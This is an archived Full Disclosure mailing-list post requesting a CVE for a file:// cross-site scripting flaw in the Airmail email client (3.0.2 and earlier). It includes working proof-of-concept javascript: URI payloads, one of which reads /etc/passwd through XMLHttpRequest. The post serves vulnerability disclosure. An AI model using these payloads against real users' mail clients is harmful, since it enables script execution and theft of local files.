full-disclosure - [FD] cve request: Airmail URLScheme render and file:// xss vulnerability

Open Source and information security mailing list archives

Message-ID: <CAPGxrc_ZYLrVnOEhm+qVvu=e5tRfe1gkFLopmj9z=+EDU7q41w@mail.gmail.com>
Date: Wed, 7 Sep 2016 16:47:59 +0800
From: redrain root <rootredrain@...il.com>
To: fulldisclosure@...lists.org
Cc: cve-assign@...re.org
Subject: [FD] cve request: Airmail URLScheme render and file:// xss
	vulnerability

Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause
a file:// xss and arbitrary file read.

Author: redrain, yu.hong@...itin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15

Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URLscheme render with link detection, any user can
edit the email content in reply with the evil code with the TL;DR.

Airmail implements its user interface using an embedded version of WebKit,
furthermore Airmail on OS X will render any URI as a clickable HTML <a
href= link. An attacker can create a simple JavaScript URI (e.g.,
javascript:) which when clicked grants the attacker initial JavaScript
execution (XSS) in the context of the application DOM.

PoC:
javascript://www.baidu.com/research?%0Aprompt(1)

Arbitrary file read:

javascript://www.baidu.com/research?%0Afunction%20reqListener%20()%20%7B%0A%
20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%
20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%
22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%
20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

Could you assign CVE id for this?

Regards,
redrain

Download attachment "7133D34A-B78B-43FB-927C-2201DA91F187.png" of type "image/png" (175367 bytes)

Download attachment "A446AFCA-4561-4012-8F26-C904072CEC4A.png" of type "image/png" (294262 bytes)

Download attachment "7133D34A-B78B-43FB-927C-2201DA91F187.png" of type "image/png" (175367 bytes)

Download attachment "A446AFCA-4561-4012-8F26-C904072CEC4A.png" of type "image/png" (294262 bytes)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives